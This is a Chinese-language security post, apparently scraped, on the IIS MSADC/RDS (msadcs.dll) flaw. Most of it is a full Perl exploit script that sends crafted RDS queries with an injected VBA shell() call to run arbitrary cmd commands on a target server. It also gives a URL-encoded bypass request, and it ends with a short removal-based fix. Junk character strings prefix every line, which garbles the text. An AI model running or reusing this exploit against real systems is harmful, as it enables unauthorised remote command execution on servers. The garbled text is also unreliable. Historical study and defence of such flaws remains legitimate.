IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
TB\CSXb -Zh+5;8g 涉及程序:
^,gKA\Wli Microsoft NT server
5`Z#m:+u 0fNBy^(K 描述:
IA'AA|v 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
up?8Pq* *V}}3Degh 详细:
8wd2\J,] 如果你没有时间读详细内容的话,就删除:
gS ]'^Sr c:\Program Files\Common Files\System\Msadc\msadcs.dll
dewu@ 有关的安全问题就没有了。
$?YkgK ;.Y`T/eWS 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
2}AV_]] XDF",N) 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
ohl%<FqS 关于利用ODBC远程漏洞的描述,请参看:
@lI/g ORTM[cL
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm MDpXth7 "%Ak[04' 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
%JZIg! http://www.microsoft.com/security/bulletins/MS99-025faq.asp )_uK(UNZ5 7E'C o| 这里不再论述。
E {MSi" \<%a`IA!* 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
[+GG Wo &!=3Fbn /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!p2&$s"N. 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
zc"eSy< w$ LY MfoXp 8V nZ@* #将下面这段保存为txt文件,然后: "perl -x 文件名"
UJI1n?~ RK0IkRXQd #!perl
6lPGop]js] #
Q=[&~^Y) # MSADC/RDS 'usage' (aka exploit) script
FP$]D~DMo #
`i-&Z` # by rain.forest.puppy
]iPdAwc.1 #
%rsW:nl # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]pt @ # beta test and find errors!
S@_GjCpn ?@#<>7V use Socket; use Getopt::Std;
nC w1H kW getopts("e:vd:h:XR", \%args);
Kh> ^;`h x;I*Ho print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
P~&X$H%e T-MLW=Vu if (!defined $args{h} && !defined $args{R}) {
Yr!3mU-Uvt print qq~
p0/I}n4<5n Usage: msadc.pl -h <host> { -d <delay> -X -v }
>9DgsA`' -h <host> = host you want to scan (ip or domain)
AjpQb~\ -d <seconds> = delay between calls, default 1 second
1g@kHq -X = dump Index Server path table, if available
lUrchLoDt -v = verbose
rRMC<.= -e = external dictionary file for step 5
vDemY"wz S=o/n4@} Or a -R will resume a command session
0y(d|;': O/-xkzR* ~; exit;}
Y#G '[N> Vj_
$%0 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Uhf
-}Jdw if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
c{[d@jtO if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
uZNR]+Yu@ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
5VI'hxU4Qg $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+VJl#sc/; if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
qdOS=7]W W[YtNL; if (!defined $args{R}){ $ret = &has_msadc;
czj[U|eB}= die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
4):\,>%pK Uc&0>_Z print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#M:W?&. . "cmd /c ";
^E9@L?? $in=<STDIN>; chomp $in;
jN[Z mJz' $command="cmd /c " . $in ;
nQ mkDPjU *I~F7Z]| if (defined $args{R}) {&load; exit;}
e='3gzz a*=e 3nS print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
,}NG@JID &try_btcustmr;
k;%}%"EVZ q+N}AKawB print "\nStep 2: Trying to make our own DSN...";
=zsXa=< &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Jyd%!v \"5 \hX~dS print "\nStep 3: Trying known DSNs...";
Yz,*Q<t &known_dsn;
*yB!^O A2B&X}K|U print "\nStep 4: Trying known .mdbs...";
8!1o,=I$ &known_mdb;
% R'eV< 3vy5JTCz~ if (defined $args{e}){
j"f]pzg& print "\nStep 5: Trying dictionary of DSN names...";
)%Y$FLB &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
XOxm<3gXn UZ
y print "Sorry Charley...maybe next time?\n";
NoMEe< exit;
S"lcePN f6DPah# ##############################################################################
ioZ2J"s 1@/+ c sub sendraw { # ripped and modded from whisker
}JI5,d sleep($delay); # it's a DoS on the server! At least on mine...
LnBkd:>} my ($pstr)=@_;
4kx#=MLt socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1j}o.0\ die("Socket problems\n");
<Wl!
Qog' if(connect(S,pack "SnA4x8",2,80,$target)){
k(s3~S2h select(S); $|=1;
xa K:@/ print $pstr; my @in=<S>;
sR5dC_ select(STDOUT); close(S);
GU=h2LSi] return @in;
1aSuRa } else { die("Can't connect...\n"); }}
oI^iL\\2h t hS#fO4]d ##############################################################################
*G=n${' Y#uf 2>J sub make_header { # make the HTTP request
*rA!`e* my $msadc=<<EOT
sO6+L
#! POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
pnf3YuB User-Agent: ACTIVEDATA
}=wSfr9g Host: $ip
iXBc ~S Content-Length: $clen
O^LzS&I*
Connection: Keep-Alive
~,ac{%8x 7^S &g.A ADCClientVersion:01.06
D|OX]3~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
!]W6i]p w2 CgEJ% --!ADM!ROX!YOUR!WORLD!
[j&>dE Content-Type: application/x-varg
.sCo, Content-Length: $reqlen
+&JF|#FQ` X^"95Ic EOT
$+$+;1[ ; $msadc=~s/\n/\r\n/g;
y9:|}Vh return $msadc;}
~?nPp$^ xJ,V!N ##############################################################################
7kleBDDT wN;o++6V sub make_req { # make the RDS request
#t9&X8:U my ($switch, $p1, $p2)=@_;
,)%nLc my $req=""; my $t1, $t2, $query, $dsn;
?9/%K45 F7a\Luae if ($switch==1){ # this is the btcustmr.mdb query
QRx'BY$5 $query="Select * from Customers where City=" . make_shell();
o:m:9dn $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
W)o-aX!P $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
P oC*>R8 i |cSO2O+ elsif ($switch==2){ # this is general make table query
)R,*>-OPJL $query="create table AZZ (B int, C varchar(10))";
I 8e{%PK $dsn="$p1";}
4_)@Nq |7%M:7Q elsif ($switch==3){ # this is general exploit table query
"c=\? $query="select * from AZZ where C=" . make_shell();
ig3uY# $dsn="$p1";}
KK/~W _epi[zf@ elsif ($switch==4){ # attempt to hork file info from index server
-SZ^;t $query="select path from scope()";
q^k6.5*" $dsn="Provider=MSIDXS;";}
;
*r5 d+] !=Cd1
$< elsif ($switch==5){ # bad query
WY #pzBA $query="select";
BIS5u4 $dsn="$p1";}
q>f1V3 Q;Xb-\\ $t1= make_unicode($query);
q=Q5s?sQc $t2= make_unicode($dsn);
N(6|TE2 $req = "\x02\x00\x03\x00";
H"].G^V\6 $req.= "\x08\x00" . pack ("S1", length($t1));
kznmA`#jn $req.= "\x00\x00" . $t1 ;
Tj@s \@hv $req.= "\x08\x00" . pack ("S1", length($t2));
rWAJL9M $req.= "\x00\x00" . $t2 ;
,"5Fw4G6* $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
O~Pbu[C return $req;}
?tg(X[h{S 7l%O:M(\ ##############################################################################
(?;Fnq `+{|k)2B sub make_shell { # this makes the shell() statement
,accw}G return "'|shell(\"$command\")|'";}
tBp dKJn## d%\en&:la ##############################################################################
d 6j'[ (khjP, sub make_unicode { # quick little function to convert to unicode
?kISAA4x my ($in)=@_; my $out;
x)5#*Q for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
<Hig,(=`. return $out;}
?3k;Yg/ QzCu$ [ ##############################################################################
ze{ g;D
[XBp sub rdo_success { # checks for RDO return success (this is kludge)
>a5CW~Z] my (@in) = @_; my $base=content_start(@in);
BbnY9" if($in[$base]=~/multipart\/mixed/){
~;9B\fE` return 1 if( $in[$base+10]=~/^\x09\x00/ );}
<Pg4> return 0;}
#'_i6 R=_
fk ##############################################################################
R 6ca; *&^`Uk,[ sub make_dsn { # this makes a DSN for us
$x)C_WZj? my @drives=("c","d","e","f");
P0Z1cN} print "\nMaking DSN: ";
[2WJ>2r}6 foreach $drive (@drives) {
mtOCk 5E print "$drive: ";
E0o= my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
$i7iv "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
eZJrV}V . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
oEGe y8? $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
S8TJnv`?' return 0 if $2 eq "404"; # not found/doesn't exist
37Q9goMov if($2 eq "200") {
Z4b<$t[u foreach $line (@results) {
#"jEc*&= return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
ckHHD| } return 0;}
h}nceH0s3d mhv{6v ##############################################################################
2zZ" }Zr# @rB!47! sub verify_exists {
oQ{(7.e7) my ($page)=@_;
0sD"Hu my @results=sendraw("GET $page HTTP/1.0\n\n");
[y F>W$Bn% return $results[0];}
ep>*]' 7`9J.L&,; ##############################################################################
{R5Q{]dK3 wz}BH sub try_btcustmr {
xxL D8?@e7 my @drives=("c","d","e","f");
FFQ=<(Ki my @dirs=("winnt","winnt35","winnt351","win","windows");
xPl+
rsU =$`EB foreach $dir (@dirs) {
:<=A1>&8 print "$dir -> "; # fun status so you can see progress
U ]Ek5p foreach $drive (@drives) {
eZ'J,; print "$drive: "; # ditto
s,!+wHv_8 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
?ey!wcv~ $reqlenlen=length( "$reqlen" );
*G"L]Nq# $clen= 206 + $reqlenlen + $reqlen;
+]
s"* 'V$ hN=YC\l my @results=sendraw(make_header() . make_req(1,$drive,$dir));
0pYO-@E if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
2m7Z:b else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
.'.#bH9K cy%JJ)sf ##############################################################################
_ +q.R kC"lO' sub odbc_error {
z%Pbs[*C my (@in)=@_; my $base;
(,z0V+! my $base = content_start(@in);
=BzyI if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Y]!8Ymuww@ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-!zyit5B $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e@}zp $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~M7
J{hK return $in[$base+4].$in[$base+5].$in[$base+6];}
?=}~]A5N print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
]A+q:kP print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
f?}~$agc $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
,<!_MNw[ ^vw? 4O ##############################################################################
V4@HIM wH&[Tg sub verbose {
Z#0hh%E"|y my ($in)=@_;
Y??8P return if !$verbose;
|E/U(VS3l~ print STDOUT "\n$in\n";}
<!g q9 WP{!|d& ##############################################################################
Xk8+ zX*+J"x sub save {
MLf,5f;e my ($p1, $p2, $p3, $p4)=@_;
!|}(tqt open(OUT, ">rds.save") || print "Problem saving parameters...\n";
A14} print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Hyx%FN= close OUT;}
&.~Xl:lq s4h3mypw ##############################################################################
UlF=,0P }g6:9%ZMu sub load {
A&u"NgJ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
CvDy;'{y1 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
`3GC}u>} @p=<IN>; close(IN);
~`-z"zM:p $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
g|L" |Q $target= inet_aton($ip) || die("inet_aton problems");
J}a 8N.S print "Resuming to $ip ...";
46^LPC"x $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
"_dh6naZX if($p[1]==1) {
<4V]>[{W $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
=gL~E9\ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
fS2 ^$"B| my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
H=Sy. if (rdo_success(@results)){print "Success!\n";}
:y#KR\T1 else { print "failed\n"; verbose(odbc_error(@results));}}
<7Igd6u elsif ($p[1]==3){
agdiJ-lyQ if(run_query("$p[3]")){
kH$)0nK print "Success!\n";} else { print "failed\n"; }}
?L.c~w;l elsif ($p[1]==4){
XoI,m8A if(run_query($drvst . "$p[3]")){
=73""ry print "Success!\n"; } else { print "failed\n"; }}
nu|paA exit;}
57W4E{A mqPV
Eo ##############################################################################
e}e|??'(\ E07g^y"}i sub create_table {
2pa:
3O my ($in)=@_;
Ip_S8
;; $reqlen=length( make_req(2,$in,"") ) - 28;
GjF'03Z4 $reqlenlen=length( "$reqlen" );
HivmKn` $clen= 206 + $reqlenlen + $reqlen;
KFxy,Z$-4 my @results=sendraw(make_header() . make_req(2,$in,""));
k\,01Y^ return 1 if rdo_success(@results);
;;4xpg my $temp= odbc_error(@results); verbose($temp);
m#y?k1GY return 1 if $temp=~/Table 'AZZ' already exists/;
7/^`y') return 0;}
5@_c< 5<1,`Bq@ ##############################################################################
=+@Ip Xj 5\1C@d sub known_dsn {
B1\@ n$ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
@#sBom+K` my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
|4RuT
.-o "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
7kbeAJ+{ "banner", "banners", "ads", "ADCDemo", "ADCTest");
ZLK@x.= )'\pa2 foreach $dSn (@dsns) {
@H'pvFLK? print ".";
pMJK?- ) next if (!is_access("DSN=$dSn"));
OG}auM4
if(create_table("DSN=$dSn")){
cQj{[Wt4 print "$dSn successful\n";
G}.t!" if(run_query("DSN=$dSn")){
<3]Qrjl
,b print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&j2fh!\4 print "Something's borked. Use verbose next time\n";}}} print "\n";}
^ 'jJ~U b.Wf*I? ##############################################################################
SVvR]T&_ ?9<byEO%M sub is_access {
[p3)C<;ZC my ($in)=@_;
C/nzlp~ $reqlen=length( make_req(5,$in,"") ) - 28;
QC+oSb!!? $reqlenlen=length( "$reqlen" );
<cTusC< $clen= 206 + $reqlenlen + $reqlen;
etbB;!6 my @results=sendraw(make_header() . make_req(5,$in,""));
~c8Z9[QW my $temp= odbc_error(@results);
]F&<{\:_} verbose($temp); return 1 if ($temp=~/Microsoft Access/);
~4p@m>> return 0;}
ba_T:;';0 Iz;hje4JL ##############################################################################
adEcIvN$ 0Me*X sub run_query {
3\Y}{(O | my ($in)=@_;
%trtP $reqlen=length( make_req(3,$in,"") ) - 28;
TRQX#))B $reqlenlen=length( "$reqlen" );
lZ^UAFF $clen= 206 + $reqlenlen + $reqlen;
q*Xp"yBTo my @results=sendraw(make_header() . make_req(3,$in,""));
g2
dvs return 1 if rdo_success(@results);
U4hsbraz my $temp= odbc_error(@results); verbose($temp);
S9Kay'.aJ( return 0;}
dm4dT59 7X| M\WUq ##############################################################################
}^J&D=J5V ^%|(dMo4 sub known_mdb {
cpV:y my @drives=("c","d","e","f","g");
@=jcdn!\M my @dirs=("winnt","winnt35","winnt351","win","windows");
LGb.>O^ my $dir, $drive, $mdb;
ebF},Q(48 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
k]*DuVCOX #]`ejr:2O # this is sparse, because I don't know of many
.F=15A my @sysmdbs=( "\\catroot\\icatalog.mdb",
8.vPh "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Y4PU~l "\\system32\\certmdb.mdb",
5S:&^ A< "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
.MO"8}]8Z @Bfwb?& my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
}<Y3jQnl "\\cfusion\\cfapps\\forums\\forums_.mdb",
AuZ?~I1 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
n*\AB=|X "\\cfusion\\cfapps\\security\\realm_.mdb",
Jt4T)c9 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
c9e
}P "\\cfusion\\database\\cfexamples.mdb",
d OY+| P\ "\\cfusion\\database\\cfsnippets.mdb",
h[d|y_)f "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
IQK__) "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
D_E^%Ea&` "\\cfusion\\brighttiger\\database\\cleam.mdb",
Z+"%MkX0 "\\cfusion\\database\\smpolicy.mdb",
?k4O)?28 "\\cfusion\\database\cypress.mdb",
lyzMKla" "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
5utMZ>%w_# "\\website\\cgi-win\\dbsample.mdb",
hk"^3d ! "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
&Vi"m!Bf "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
?5m[Qc(< ); #these are just
{rr
ED foreach $drive (@drives) {
_\ n'uW$ foreach $dir (@dirs){
`nMHuv foreach $mdb (@sysmdbs) {
[!>2[bbl print ".";
Rs;,_ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
LQYT/ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
}#@P+T:b if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
/Ny/%[cu print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
8<u_ wt@ } else { print "Something's borked. Use verbose next time\n"; }}}}}
~S Js2-2 di6A.N5A foreach $drive (@drives) {
s#sr1[9}G foreach $mdb (@mdbs) {
F0Xv84:O print ".";
2l+O|R if(create_table($drv . $drive . $dir . $mdb)){
>*A\/Da]j print "\n" . $drive . $dir . $mdb . " successful\n";
T8YqCT"EA< if(run_query($drv . $drive . $dir . $mdb)){
,)+O.Lf7&. print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
j#%*@]>Tg } else { print "Something's borked. Use verbose next time\n"; }}}}
g#=^U`y }
R{.wAH( Ki-CJy ##############################################################################
z$p+l] hD58 s"L$ sub hork_idx {
;B`e;B?1Q print "\nAttempting to dump Index Server tables...\n";
Ks09F} print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
S5RS?ya $reqlen=length( make_req(4,"","") ) - 28;
D00rO4~6D% $reqlenlen=length( "$reqlen" );
e*vSGT$KgL $clen= 206 + $reqlenlen + $reqlen;
{Z;W|w1t my @results=sendraw2(make_header() . make_req(4,"",""));
eU7RO if (rdo_success(@results)){
NVFAmX.Z: my $max=@results; my $c; my %d;
pCf-W/v for($c=19; $c<$max; $c++){
[AR$Sw60 $results[$c]=~s/\x00//g;
D8W:mAGEu $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
I_xJ[ALdm $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
w`1qx;/! $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
BU:s&+LYUv $d{"$1$2"}="";}
nngL,-v#F foreach $c (keys %d){ print "$c\n"; }
s@o"V >t } else {print "Index server doesn't seem to be installed.\n"; }}
C%#C|X193 Xu HJy ##############################################################################
n*D)RiW Uk ?V7?& sub dsn_dict {
oTOe(5N8a open(IN, "<$args{e}") || die("Can't open external dictionary\n");
}W<]fK while(<IN>){
^f!d8
V $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
cJ:BEe next if (!is_access("DSN=$dSn"));
-<&"geJA if(create_table("DSN=$dSn")){
aI|)m8>)X print "$dSn successful\n";
-$WiB if(run_query("DSN=$dSn")){
(B]Vw+/ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
~"EkX print "Something's borked. Use verbose next time\n";}}}
oG@P M+{ print "\n"; close(IN);}
*goi^Xp OY~5o&Oa ##############################################################################
?vf{v OAw/ sub sendraw2 { # ripped and modded from whisker
zGZe|- sleep($delay); # it's a DoS on the server! At least on mine...
lKIHBi my ($pstr)=@_;
;?inf`t socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|c 8p{) die("Socket problems\n");
jopC\Z if(connect(S,pack "SnA4x8",2,80,$target)){
\/K>Iv'$ print "Connected. Getting data";
40%p
lNPj open(OUT,">raw.out"); my @in;
7F?^gMi select(S); $|=1; print $pstr;
;
@Gm@d while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
&$hfAG]" close(OUT); select(STDOUT); close(S); return @in;
"hog A5= } else { die("Can't connect...\n"); }}
g;]2'Rj aDza"Ln ##############################################################################
5bmtUIj )IZ$R*Y{ sub content_start { # this will take in the server headers
#FaR?L![Y my (@in)=@_; my $c;
!;CY
@= for ($c=1;$c<500;$c++) {
-oF4mi8S if($in[$c] =~/^\x0d\x0a/){
shn`>=0.& if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
FG#E?G else { return $c+1; }}}
5+%BZ return -1;} # it should never get here actually
zCvR/ (a7IxW ##############################################################################
w #(XiH* '{( n1es sub funky {
!c1
E my (@in)=@_; my $error=odbc_error(@in);
ew?UHV if($error=~/ADO could not find the specified provider/){
S2jo@bp! print "\nServer returned an ADO miscofiguration message\nAborting.\n";
NX)7g}S exit;}
%q>gwq
A if($error=~/A Handler is required/){
BzWmV.5 print "\nServer has custom handler filters (they most likely are patched)\n";
9lTA/- exit;}
RSmxwx^ if($error=~/specified Handler has denied Access/){
MiOSSl}; print "\nServer has custom handler filters (they most likely are patched)\n";
"{{xH*ij' exit;}}
mH?^3T FLy|+4D_%4 ##############################################################################
, PN?_N 103^\Av8 sub has_msadc {
`m'2RNSc+# my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
?Cu#( my $base=content_start(@results);
TqbKH08i/ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
SKRD{MRsux return 0;}
f "Iv M;Vx[s,#, ########################
\mc~w4B[)3 &5d>jEaB} H`@x5RjS 解决方案:
miN(a; Q2P 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
i@B5B2 2、移除web 目录: /msadc